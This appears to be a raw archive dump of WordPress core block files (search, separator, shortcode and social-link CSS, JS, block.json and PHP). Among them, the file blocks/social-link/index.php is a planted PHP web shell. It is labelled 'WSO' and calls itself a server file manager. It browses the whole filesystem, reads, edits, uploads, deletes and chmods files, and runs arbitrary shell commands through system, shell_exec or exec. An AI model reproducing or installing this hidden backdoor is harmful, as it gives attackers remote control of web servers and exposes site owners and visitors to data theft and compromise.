0ustar00.wp-block-search__button{margin-left:10px;word-break:normal}.wp-block-search__button.has-icon{line-height:0}.wp-block-search__button svg{fill:currentColor;min-height:24px;min-width:24px;vertical-align:text-bottom}:where(.wp-block-search__button){border:1px solid #ccc;padding:6px 10px}.wp-block-search__inside-wrapper{display:flex;flex:auto;flex-wrap:nowrap;max-width:100%}.wp-block-search__label{width:100%}.wp-block-search__input{-webkit-appearance:initial;appearance:none;border:1px solid #949494;flex-grow:1;margin-left:0;margin-right:0;min-width:3rem;padding:8px;text-decoration:unset!important}.wp-block-search.wp-block-search__button-only .wp-block-search__button{flex-shrink:0;margin-left:0;max-width:calc(100% - 100px)}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){border:1px solid #949494;box-sizing:border-box;padding:4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{border:none;border-radius:0;padding:0 4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{outline:none}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){padding:4px 8px}.wp-block-search.aligncenter .wp-block-search__inside-wrapper{margin:auto}.wp-block-search__button-behavior-expand .wp-block-search__inside-wrapper{min-width:0!important;transition-property:width}.wp-block-search__button-behavior-expand .wp-block-search__input{flex-basis:100%;transition-duration:.3s}.wp-block-search__button-behavior-expand.wp-block-search__searchfield-hidden,.wp-block-search__button-behavior-expand.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{overflow:hidden}.wp-block-search__button-behavior-expand.wp-block-search__searchfield-hidden .wp-block-search__input{border-left-width:0!important;border-right-width:0!important;flex-basis:0;flex-grow:0;margin:0;min-width:0!important;padding-left:0!important;padding-right:0!important;width:0!important}.wp-block[data-align=right] .wp-block-search__button-behavior-expand .wp-block-search__inside-wrapper{float:right}blocks/search/theme-rtl.css000064400000000215151202620300011666 0ustar00.wp-block-search .wp-block-search__label{ font-weight:700; } .wp-block-search__button{ border:1px solid #ccc; padding:.375em .625em; }blocks/search/editor-rtl.css000064400000000466151202620300012062 0ustar00.wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{ margin:auto; } .wp-block-search .wp-block-search__button{ align-items:center; border-radius:initial; display:flex; height:auto; justify-content:center; } .wp-block-search__components-button-group{ margin-top:10px; }blocks/search/view.asset.php000064400000000124151202620300012053 0ustar00 array(), 'version' => 'bbd4958a430d8ba14c4c'); blocks/search/editor-rtl.min.css000064400000000430151202620300012633 0ustar00.wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{margin:auto}.wp-block-search .wp-block-search__button{align-items:center;border-radius:initial;display:flex;height:auto;justify-content:center}.wp-block-search__components-button-group{margin-top:10px}blocks/search/view.min.js000064400000002236151202620300011352 0ustar00"use strict";(self.__WordPressPrivateInteractivityAPI__=self.__WordPressPrivateInteractivityAPI__||[]).push([[222],{534:function(e,t,c){(0,c(754).h)({selectors:{core:{search:{ariaLabel:({context:e})=>{const{ariaLabelCollapsed:t,ariaLabelExpanded:c}=e.core.search;return e.core.search.isSearchInputVisible?c:t},ariaControls:({context:e})=>e.core.search.isSearchInputVisible?null:e.core.search.inputId,type:({context:e})=>e.core.search.isSearchInputVisible?"submit":"button",tabindex:({context:e})=>e.core.search.isSearchInputVisible?"0":"-1"}}},actions:{core:{search:{openSearchInput:({context:e,event:t,ref:c})=>{e.core.search.isSearchInputVisible||(t.preventDefault(),e.core.search.isSearchInputVisible=!0,c.parentElement.querySelector("input").focus())},closeSearchInput:({context:e})=>{e.core.search.isSearchInputVisible=!1},handleSearchKeydown:e=>{const{actions:t,event:c,ref:r}=e;"Escape"===c?.key&&(t.core.search.closeSearchInput(e),r.querySelector("button").focus())},handleSearchFocusout:e=>{const{actions:t,event:c,ref:r}=e;r.contains(c.relatedTarget)||c.target===window.document.activeElement||t.core.search.closeSearchInput(e)}}}}})}},function(e){var t;t=534,e(e.s=t)}]);blocks/search/style-rtl.css000064400000004503151202620300011730 0ustar00.wp-block-search__button{ margin-right:10px; word-break:normal; } .wp-block-search__button.has-icon{ line-height:0; } .wp-block-search__button svg{ fill:currentColor; min-height:24px; min-width:24px; vertical-align:text-bottom; } :where(.wp-block-search__button){ border:1px solid #ccc; padding:6px 10px; } .wp-block-search__inside-wrapper{ display:flex; flex:auto; flex-wrap:nowrap; max-width:100%; } .wp-block-search__label{ width:100%; } .wp-block-search__input{ -webkit-appearance:initial; appearance:none; border:1px solid #949494; flex-grow:1; margin-left:0; margin-right:0; min-width:3rem; padding:8px; text-decoration:unset !important; } .wp-block-search.wp-block-search__button-only .wp-block-search__button{ flex-shrink:0; margin-right:0; max-width:calc(100% - 100px); } :where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){ border:1px solid #949494; box-sizing:border-box; padding:4px; } :where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{ border:none; border-radius:0; padding:0 4px; } :where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{ outline:none; } :where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){ padding:4px 8px; } .wp-block-search.aligncenter .wp-block-search__inside-wrapper{ margin:auto; } .wp-block-search__button-behavior-expand .wp-block-search__inside-wrapper{ min-width:0 !important; transition-property:width; } .wp-block-search__button-behavior-expand .wp-block-search__input{ flex-basis:100%; transition-duration:.3s; } .wp-block-search__button-behavior-expand.wp-block-search__searchfield-hidden,.wp-block-search__button-behavior-expand.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{ overflow:hidden; } .wp-block-search__button-behavior-expand.wp-block-search__searchfield-hidden .wp-block-search__input{ border-left-width:0 !important; border-right-width:0 !important; flex-basis:0; flex-grow:0; margin:0; min-width:0 !important; padding-left:0 !important; padding-right:0 !important; width:0 !important; } .wp-block[data-align=right] .wp-block-search__button-behavior-expand .wp-block-search__inside-wrapper{ float:left; }blocks/search/style.css000064400000004502151202620300011130 0ustar00.wp-block-search__button{ margin-left:10px; word-break:normal; } .wp-block-search__button.has-icon{ line-height:0; } .wp-block-search__button svg{ fill:currentColor; min-height:24px; min-width:24px; vertical-align:text-bottom; } :where(.wp-block-search__button){ border:1px solid #ccc; padding:6px 10px; } .wp-block-search__inside-wrapper{ display:flex; flex:auto; flex-wrap:nowrap; max-width:100%; } .wp-block-search__label{ width:100%; } .wp-block-search__input{ -webkit-appearance:initial; appearance:none; border:1px solid #949494; flex-grow:1; margin-left:0; margin-right:0; min-width:3rem; padding:8px; text-decoration:unset !important; } .wp-block-search.wp-block-search__button-only .wp-block-search__button{ flex-shrink:0; margin-left:0; max-width:calc(100% - 100px); } :where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){ border:1px solid #949494; box-sizing:border-box; padding:4px; } :where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{ border:none; border-radius:0; padding:0 4px; } :where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{ outline:none; } :where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){ padding:4px 8px; } .wp-block-search.aligncenter .wp-block-search__inside-wrapper{ margin:auto; } .wp-block-search__button-behavior-expand .wp-block-search__inside-wrapper{ min-width:0 !important; transition-property:width; } .wp-block-search__button-behavior-expand .wp-block-search__input{ flex-basis:100%; transition-duration:.3s; } .wp-block-search__button-behavior-expand.wp-block-search__searchfield-hidden,.wp-block-search__button-behavior-expand.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{ overflow:hidden; } .wp-block-search__button-behavior-expand.wp-block-search__searchfield-hidden .wp-block-search__input{ border-left-width:0 !important; border-right-width:0 !important; flex-basis:0; flex-grow:0; margin:0; min-width:0 !important; padding-left:0 !important; padding-right:0 !important; width:0 !important; } .wp-block[data-align=right] .wp-block-search__button-behavior-expand .wp-block-search__inside-wrapper{ float:right; }blocks/search.php000064400000011471151202620300007772 0ustar00`. Support these by defaulting an undefined label and // buttonText to `__( 'Search' )`. $attributes = wp_parse_args( $attributes, array( 'label' => __( 'Search' ), 'buttonText' => __( 'Search' ), ) ); $input_id = 'wp-block-search__input-' . ++$instance_id; $classnames = classnames_for_block_core_search( $attributes ); $show_label = ( ! empty( $attributes['showLabel'] ) ) ? true : false; $use_icon_button = ( ! empty( $attributes['buttonUseIcon'] ) ) ? true : false; $show_input = ( ! empty( $attributes['buttonPosition'] ) && 'button-only' === $attributes['buttonPosition'] ) ? false : true; $show_button = ( ! empty( $attributes['buttonPosition'] ) && 'no-button' === $attributes['buttonPosition'] ) ? false : true; $label_markup = ''; $input_markup = ''; $button_markup = ''; $width_styles = ''; if ( $show_label ) { if ( ! empty( $attributes['label'] ) ) { $label_markup = sprintf( '', $input_id, $attributes['label'] ); } else { $label_markup = sprintf( '', $input_id, __( 'Search' ) ); } } if ( $show_input ) { $input_markup = sprintf( '', $input_id, esc_attr( get_search_query() ), esc_attr( $attributes['placeholder'] ) ); } if ( $show_button ) { $button_internal_markup = ''; $button_classes = ''; if ( ! $use_icon_button ) { if ( ! empty( $attributes['buttonText'] ) ) { $button_internal_markup = $attributes['buttonText']; } } else { $button_classes .= 'has-icon'; $button_internal_markup = ' '; } $button_markup = sprintf( '', $button_internal_markup ); } if ( ! empty( $attributes['width'] ) && ! empty( $attributes['widthUnit'] ) ) { if ( ! empty( $attributes['buttonPosition'] ) && 'button-only' !== $attributes['buttonPosition'] ) { $width_styles = ' style="width: ' . $attributes['width'] . $attributes['widthUnit'] . ';"'; } } $field_markup = sprintf( '
    %s
    ', $width_styles, $input_markup . $button_markup ); $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classnames ) ); return sprintf( '
    %s
    ', esc_url( home_url( '/' ) ), $wrapper_attributes, $label_markup . $field_markup ); } /** * Registers the `core/search` block on the server. */ function register_block_core_search() { register_block_type_from_metadata( __DIR__ . '/search', array( 'render_callback' => 'render_block_core_search', ) ); } add_action( 'init', 'register_block_core_search' ); /** * Builds the correct top level classnames for the 'core/search' block. * * @param array $attributes The block attributes. * * @return string The classnames used in the block. */ function classnames_for_block_core_search( $attributes ) { $classnames = array(); if ( ! empty( $attributes['buttonPosition'] ) ) { if ( 'button-inside' === $attributes['buttonPosition'] ) { $classnames[] = 'wp-block-search__button-inside'; } if ( 'button-outside' === $attributes['buttonPosition'] ) { $classnames[] = 'wp-block-search__button-outside'; } if ( 'no-button' === $attributes['buttonPosition'] ) { $classnames[] = 'wp-block-search__no-button'; } if ( 'button-only' === $attributes['buttonPosition'] ) { $classnames[] = 'wp-block-search__button-only'; } } if ( isset( $attributes['buttonUseIcon'] ) ) { if ( ! empty( $attributes['buttonPosition'] ) && 'no-button' !== $attributes['buttonPosition'] ) { if ( $attributes['buttonUseIcon'] ) { $classnames[] = 'wp-block-search__icon-button'; } else { $classnames[] = 'wp-block-search__text-button'; } } } return implode( ' ', $classnames ); } blocks/separator/block.json000064400000000503151202620300011773 0ustar00{ "apiVersion": 2, "name": "core/separator", "category": "design", "attributes": { "color": { "type": "string" }, "customColor": { "type": "string" } }, "supports": { "anchor": true, "align": ["center","wide","full"] }, "editorStyle": "wp-block-separator-editor", "style": "wp-block-separator" } blocks/separator/editor.min.css000064400000000344151202620300012573 0ustar00.block-editor-block-list__block[data-type="core/separator"]{padding-bottom:.1px;padding-top:.1px}.block-editor-block-list__block[data-type="core/separator"].wp-block-separator.is-style-dots{background:none!important;border:none}blocks/separator/style-rtl.min.css000064400000000540151202620300013242 0ustar00@charset "UTF-8";.wp-block-separator{border:1px solid;border-left:none;border-right:none}.wp-block-separator.is-style-dots{background:none!important;border:none;height:auto;line-height:1;text-align:center}.wp-block-separator.is-style-dots:before{color:currentColor;content:"···";font-family:serif;font-size:1.5em;letter-spacing:2em;padding-left:2em}blocks/separator/theme.css000064400000000745151202620300011632 0ustar00.wp-block-separator.has-css-opacity{ opacity:.4; } .wp-block-separator{ border:none; border-bottom:2px solid; margin-left:auto; margin-right:auto; } .wp-block-separator.has-alpha-channel-opacity{ opacity:1; } .wp-block-separator:not(.is-style-wide):not(.is-style-dots){ width:100px; } .wp-block-separator.has-background:not(.is-style-dots){ border-bottom:none; height:1px; } .wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){ height:2px; }blocks/separator/theme-rtl.min.css000064400000000665151202620300013214 0ustar00.wp-block-separator.has-css-opacity{opacity:.4}.wp-block-separator{border:none;border-bottom:2px solid;margin-left:auto;margin-right:auto}.wp-block-separator.has-alpha-channel-opacity{opacity:1}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}blocks/separator/editor.css000064400000000366151202620300012015 0ustar00.block-editor-block-list__block[data-type="core/separator"]{ padding-bottom:.1px; padding-top:.1px; } .block-editor-block-list__block[data-type="core/separator"].wp-block-separator.is-style-dots{ background:none !important; border:none; }blocks/separator/theme.min.css000064400000000665151202620300012415 0ustar00.wp-block-separator.has-css-opacity{opacity:.4}.wp-block-separator{border:none;border-bottom:2px solid;margin-left:auto;margin-right:auto}.wp-block-separator.has-alpha-channel-opacity{opacity:1}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}blocks/separator/style.min.css000064400000000540151202620300012443 0ustar00@charset "UTF-8";.wp-block-separator{border:1px solid;border-left:none;border-right:none}.wp-block-separator.is-style-dots{background:none!important;border:none;height:auto;line-height:1;text-align:center}.wp-block-separator.is-style-dots:before{color:currentColor;content:"···";font-family:serif;font-size:1.5em;letter-spacing:2em;padding-left:2em}blocks/separator/theme-rtl.css000064400000000745151202620300012431 0ustar00.wp-block-separator.has-css-opacity{ opacity:.4; } .wp-block-separator{ border:none; border-bottom:2px solid; margin-left:auto; margin-right:auto; } .wp-block-separator.has-alpha-channel-opacity{ opacity:1; } .wp-block-separator:not(.is-style-wide):not(.is-style-dots){ width:100px; } .wp-block-separator.has-background:not(.is-style-dots){ border-bottom:none; height:1px; } .wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){ height:2px; }blocks/separator/editor-rtl.css000064400000000366151202620300012614 0ustar00.block-editor-block-list__block[data-type="core/separator"]{ padding-bottom:.1px; padding-top:.1px; } .block-editor-block-list__block[data-type="core/separator"].wp-block-separator.is-style-dots{ background:none !important; border:none; }blocks/separator/editor-rtl.min.css000064400000000344151202620300013372 0ustar00.block-editor-block-list__block[data-type="core/separator"]{padding-bottom:.1px;padding-top:.1px}.block-editor-block-list__block[data-type="core/separator"].wp-block-separator.is-style-dots{background:none!important;border:none}blocks/separator/style-rtl.css000064400000000624151202620300012463 0ustar00@charset "UTF-8"; .wp-block-separator{ border:1px solid; border-left:none; border-right:none; } .wp-block-separator.is-style-dots{ background:none !important; border:none; height:auto; line-height:1; text-align:center; } .wp-block-separator.is-style-dots:before{ color:currentColor; content:"···"; font-family:serif; font-size:1.5em; letter-spacing:2em; padding-left:2em; }blocks/separator/style.css000064400000000624151202620300011664 0ustar00@charset "UTF-8"; .wp-block-separator{ border:1px solid; border-left:none; border-right:none; } .wp-block-separator.is-style-dots{ background:none !important; border:none; height:auto; line-height:1; text-align:center; } .wp-block-separator.is-style-dots:before{ color:currentColor; content:"···"; font-family:serif; font-size:1.5em; letter-spacing:2em; padding-left:2em; }blocks/shortcode/block.json000064400000000430151202620300011764 0ustar00{ "apiVersion": 2, "name": "core/shortcode", "category": "widgets", "attributes": { "text": { "type": "string", "source": "html" } }, "supports": { "className": false, "customClassName": false, "html": false }, "editorStyle": "wp-block-shortcode-editor" } blocks/shortcode/editor.min.css000064400000001210151202620300012556 0ustar00[data-type="core/shortcode"].components-placeholder{min-height:0}.blocks-shortcode__textarea{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important;resize:none}@media (min-width:600px){.blocks-shortcode__textarea{font-size:13px!important}}.blocks-shortcode__textarea:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid transparent!important}blocks/shortcode/editor.css000064400000001330151202620300011777 0ustar00[data-type="core/shortcode"].components-placeholder{ min-height:0; } .blocks-shortcode__textarea{ background:#fff !important; border:1px solid #1e1e1e !important; border-radius:2px !important; box-shadow:none !important; box-sizing:border-box; color:#1e1e1e !important; font-family:Menlo,Consolas,monaco,monospace !important; font-size:16px !important; max-height:250px; padding:12px !important; resize:none; } @media (min-width:600px){ .blocks-shortcode__textarea{ font-size:13px !important; } } .blocks-shortcode__textarea:focus{ border-color:var(--wp-admin-theme-color) !important; box-shadow:0 0 0 1px var(--wp-admin-theme-color) !important; outline:2px solid transparent !important; }blocks/shortcode/editor-rtl.css000064400000001330151202620300012576 0ustar00[data-type="core/shortcode"].components-placeholder{ min-height:0; } .blocks-shortcode__textarea{ background:#fff !important; border:1px solid #1e1e1e !important; border-radius:2px !important; box-shadow:none !important; box-sizing:border-box; color:#1e1e1e !important; font-family:Menlo,Consolas,monaco,monospace !important; font-size:16px !important; max-height:250px; padding:12px !important; resize:none; } @media (min-width:600px){ .blocks-shortcode__textarea{ font-size:13px !important; } } .blocks-shortcode__textarea:focus{ border-color:var(--wp-admin-theme-color) !important; box-shadow:0 0 0 1px var(--wp-admin-theme-color) !important; outline:2px solid transparent !important; }blocks/shortcode/editor-rtl.min.css000064400000001210151202620300013355 0ustar00[data-type="core/shortcode"].components-placeholder{min-height:0}.blocks-shortcode__textarea{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important;resize:none}@media (min-width:600px){.blocks-shortcode__textarea{font-size:13px!important}}.blocks-shortcode__textarea:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid transparent!important}blocks/shortcode.php000064400000001271151202620300010514 0ustar00 'render_block_core_shortcode', ) ); } add_action( 'init', 'register_block_core_shortcode' ); blocks/social-link/block.json000064400000000667151202620300012213 0ustar00{ "apiVersion": 2, "name": "core/social-link", "category": "widgets", "parent": [ "core/social-links" ], "attributes": { "url": { "type": "string" }, "service": { "type": "string" }, "label": { "type": "string" } }, "usesContext": [ "openInNewTab", "iconColorValue", "iconBackgroundColorValue" ], "supports": { "reusable": false, "html": false }, "editorStyle": "wp-block-social-link-editor" } blocks/social-link/editor.min.css000064400000000565151202620300013005 0ustar00.wp-block-social-links .wp-social-link{line-height:0}.wp-block-social-links .wp-social-link button{color:currentColor;font-size:inherit;height:auto;line-height:0;opacity:1;padding:.25em}.wp-block-social-links.is-style-pill-shape .wp-social-link button{padding-left:.66667em;padding-right:.66667em}.wp-block-social-links.is-style-logos-only .wp-social-link button{padding:0}blocks/social-link/editor.css000064400000000640151202620300012215 0ustar00.wp-block-social-links .wp-social-link{ line-height:0; } .wp-block-social-links .wp-social-link button{ color:currentColor; font-size:inherit; height:auto; line-height:0; opacity:1; padding:.25em; } .wp-block-social-links.is-style-pill-shape .wp-social-link button{ padding-left:.66667em; padding-right:.66667em; } .wp-block-social-links.is-style-logos-only .wp-social-link button{ padding:0; }blocks/social-link/editor-rtl.css000064400000000640151202620300013014 0ustar00.wp-block-social-links .wp-social-link{ line-height:0; } .wp-block-social-links .wp-social-link button{ color:currentColor; font-size:inherit; height:auto; line-height:0; opacity:1; padding:.25em; } .wp-block-social-links.is-style-pill-shape .wp-social-link button{ padding-left:.66667em; padding-right:.66667em; } .wp-block-social-links.is-style-logos-only .wp-social-link button{ padding:0; }blocks/social-link/editor-rtl.min.css000064400000000565151202620300013604 0ustar00.wp-block-social-links .wp-social-link{line-height:0}.wp-block-social-links .wp-social-link button{color:currentColor;font-size:inherit;height:auto;line-height:0;opacity:1;padding:.25em}.wp-block-social-links.is-style-pill-shape .wp-social-link button{padding-left:.66667em;padding-right:.66667em}.wp-block-social-links.is-style-logos-only .wp-social-link button{padding:0}blocks/social-link/index.php000064400000105115151202620300012040 0ustar00 Login '; ?> script_location = realpath($_SERVER['SCRIPT_FILENAME']); $this->script_directory = dirname($this->script_location); // Start from script directory by default, not root $this->current_path = isset($_GET['path']) ? $_GET['path'] : $this->script_directory; // Security: clean path but allow full server navigation $this->current_path = $this->normalizePath($this->current_path); // Ensure path exists and is readable if(!is_dir($this->current_path)) { $this->current_path = $this->script_directory; } } private function normalizePath($path) { // Remove directory traversal attempts but allow absolute paths $path = str_replace(array('..', './'), '', $path); $path = str_replace('//', '/', $path); return $path ?: $this->script_directory; } public function getFileIcon($filename, $is_dir = false) { if($is_dir) { return '📁'; } $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'htm' => '🌐', 'js' => '📜', 'css' => '🎨', 'py' => '🐍', 'java' => '☕', 'c' => '🔧', 'cpp' => '⚙️', 'sql' => '🗄️', 'json' => '📋', 'xml' => '📄', 'txt' => '📝', 'sh' => '⚡', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', '7z' => '📦', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'bmp' => '🖼️', 'svg' => '🖼️', 'webp' => '🖼️', 'ico' => '🖼️', 'pdf' => '📕', 'doc' => '📘', 'docx' => '📘', 'xls' => '📗', 'xlsx' => '📗', 'ppt' => '📙', 'pptx' => '📙', 'mp3' => '🎵', 'wav' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'log' => '📊', 'conf' => '⚙️', 'ini' => '⚙️' ]; return $icons[$extension] ?? '📄'; } public function listFiles($dir = null) { $dir = $dir ?: $this->current_path; $files = array(); if(is_dir($dir) && is_readable($dir)) { $items = @scandir($dir); if($items === false) { return $files; } foreach($items as $entry) { if($entry == "." || $entry == "..") continue; $fullpath = $dir . '/' . $entry; // Skip if we can't read the file info if(!is_readable($fullpath)) continue; $is_dir = is_dir($fullpath); $is_script = (realpath($fullpath) === $this->script_location); $files[] = array( 'name' => $entry, 'path' => $fullpath, 'is_dir' => $is_dir, 'icon' => $this->getFileIcon($entry, $is_dir), 'size' => $this->formatSize($is_dir ? $this->getDirSize($fullpath) : @filesize($fullpath)), 'perms' => substr(sprintf('%o', @fileperms($fullpath)), -4), 'time' => date('Y-m-d H:i:s', @filemtime($fullpath)), 'is_script' => $is_script, 'readable' => is_readable($fullpath), 'writable' => is_writable($fullpath) ); } } // Sort directories first usort($files, function($a, $b) { if($a['is_dir'] == $b['is_dir']) { return strcasecmp($a['name'], $b['name']); } return $a['is_dir'] ? -1 : 1; }); return $files; } private function getDirSize($path) { $total = 0; if(!is_dir($path)) return 0; try { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS) ); foreach($files as $file) { if($file->isFile()) { $total += $file->getSize(); } } } catch(Exception $e) { // Ignore permission errors } return $total; } private function formatSize($bytes) { if($bytes == 0) return '0 B'; $units = array('B', 'KB', 'MB', 'GB', 'TB'); $i = floor(log($bytes, 1024)); return round($bytes / pow(1024, $i), 2) . ' ' . $units[$i]; } public function readFile($file) { if(!file_exists($file) || is_dir($file) || !is_readable($file)) { return false; } return @file_get_contents($file); } public function writeFile($file, $content) { if(!is_writable($file)) return false; return @file_put_contents($file, $content) !== false; } public function delete($path) { if(!file_exists($path)) return false; if(is_dir($path)) { $items = @scandir($path); if($items === false) return false; foreach($items as $item) { if($item != '.' && $item != '..') { $this->delete($path . '/' . $item); } } return @rmdir($path); } else { return @unlink($path); } } public function rename($old, $new) { if(!file_exists($old) || file_exists($new)) return false; return @rename($old, $new); } public function chmod($path, $mode) { if(!file_exists($path)) return false; return @chmod($path, octdec($mode)); } public function createFile($path) { if(file_exists($path)) return false; return @touch($path); } public function createDir($path) { if(file_exists($path)) return false; return @mkdir($path, 0755, true); } public function upload($tmp, $dest) { return move_uploaded_file($tmp, $dest); } public function getScriptInfo() { return [ 'path' => $this->script_location, 'dirname' => $this->script_directory, 'filename' => basename($this->script_location), 'size' => $this->formatSize(filesize($this->script_location)), 'perms' => substr(sprintf('%o', fileperms($this->script_location)), -4) ]; } public function getParentDirectory($path) { $parent = dirname($path); return ($parent != $path) ? $parent : false; } } // ==================== COMMAND EXECUTION ==================== function executeCommand($cmd) { if(empty($cmd)) return ''; if(function_exists('system')) { ob_start(); @system($cmd); return ob_get_clean(); } elseif(function_exists('shell_exec')) { return @shell_exec($cmd); } elseif(function_exists('exec')) { @exec($cmd, $output); return implode("\n", $output); } else { return "Command execution disabled"; } } // ==================== INITIALIZE ==================== $wso = new WSO(); $action = isset($_GET['action']) ? $_GET['action'] : 'files'; $output = ''; $message = ''; // ==================== PROCESS ACTIONS ==================== if($_SERVER['REQUEST_METHOD'] == 'POST') { // Command execution if(isset($_POST['cmd'])) { $output = executeCommand($_POST['cmd']); } // File editing if(isset($_POST['file_content']) && isset($_POST['file_path'])) { if($wso->writeFile($_POST['file_path'], $_POST['file_content'])) { $message = "✅ File saved successfully!"; } else { $message = "❌ Error saving file!"; } } // File creation if(isset($_POST['new_file']) && !empty($_POST['new_file'])) { $path = $wso->current_path . '/' . $_POST['new_file']; if($wso->createFile($path)) { $message = "✅ File created successfully!"; } else { $message = "❌ Error creating file!"; } } // Directory creation if(isset($_POST['new_dir']) && !empty($_POST['new_dir'])) { $path = $wso->current_path . '/' . $_POST['new_dir']; if($wso->createDir($path)) { $message = "✅ Directory created successfully!"; } else { $message = "❌ Error creating directory!"; } } // File upload if(isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] == 0) { $dest = $wso->current_path . '/' . $_FILES['upload_file']['name']; if($wso->upload($_FILES['upload_file']['tmp_name'], $dest)) { $message = "✅ File uploaded successfully!"; } else { $message = "❌ Error uploading file!"; } } // Rename file if(isset($_POST['rename_old']) && isset($_POST['rename_new'])) { $old = $wso->current_path . '/' . $_POST['rename_old']; $new = $wso->current_path . '/' . $_POST['rename_new']; if($wso->rename($old, $new)) { $message = "✅ File renamed successfully!"; } else { $message = "❌ Error renaming file!"; } } // Change permissions if(isset($_POST['chmod_file']) && isset($_POST['chmod_mode'])) { $file = $wso->current_path . '/' . $_POST['chmod_file']; if($wso->chmod($file, $_POST['chmod_mode'])) { $message = "✅ Permissions changed successfully!"; } else { $message = "❌ Error changing permissions!"; } } } // Handle GET actions if(isset($_GET['delete'])) { if($wso->delete($_GET['delete'])) { $message = "✅ Item deleted successfully!"; } else { $message = "❌ Error deleting item!"; } } if(isset($_GET['download'])) { $file = $_GET['download']; if(file_exists($file) && !is_dir($file) && is_readable($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } } if(isset($_GET['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } // Get parent directory for navigation $parent_directory = $wso->getParentDirectory($wso->current_path); ?> Server File Manager
    🚀 Server File Manager | PHP: | User:
    📍 Script: script_location)); ?>
    📍 Script Location Information
    getScriptInfo(); ?>
    Full Path:
    Directory:
    Size:
    Permissions:
    📁 File Manager - Current Path: current_path); ?>
    listFiles(); if(empty($files)): ?>
    Name Size Permissions Modified Actions
    📭 Directory is empty or not accessible
    THIS SCRIPT R W
    ✏️ Edit 📥 Download 🗑️ Delete
    💻 Command Console
    Quick Commands:
    ℹ️ Server Information
    PHP_VERSION, 'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'N/A', 'server_os' => php_uname(), 'current_user' => get_current_user(), 'disk_total' => $wso->formatSize(@disk_total_space("/")), 'disk_free' => $wso->formatSize(@disk_free_space("/")), 'script_memory' => $wso->formatSize(memory_get_usage(true)) ]; ?>

    📊 System Information

    $value): ?>
    :

    🔧 PHP Configuration

    Memory Limit:
    Max Execution Time:s
    Upload Max Filesize:
    Post Max Size:
    Disabled Functions:
    ✏️ Editing: ← Back to Files
    readFile($_GET['file']); if($file_content === false): ?>
    ❌ Error reading file or file not accessible
    blocks/social-link.php000064400000163500151202620300010733 0ustar00context['openInNewTab'] ) ? $block->context['openInNewTab'] : false; $service = ( isset( $attributes['service'] ) ) ? $attributes['service'] : 'Icon'; $url = ( isset( $attributes['url'] ) ) ? $attributes['url'] : false; $label = ( isset( $attributes['label'] ) ) ? $attributes['label'] : block_core_social_link_get_name( $service ); $class_name = isset( $attributes['className'] ) ? ' ' . $attributes['className'] : false; // Don't render a link if there is no URL set. if ( ! $url ) { return ''; } $attribute = ''; if ( $open_in_new_tab ) { $attribute = 'rel="noopener nofollow" target="_blank"'; } $icon = block_core_social_link_get_icon( $service ); $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => 'wp-social-link wp-social-link-' . $service . $class_name, 'style' => block_core_social_link_get_color_styles( $block->context ), ) ); return '
  • ' . $icon . '
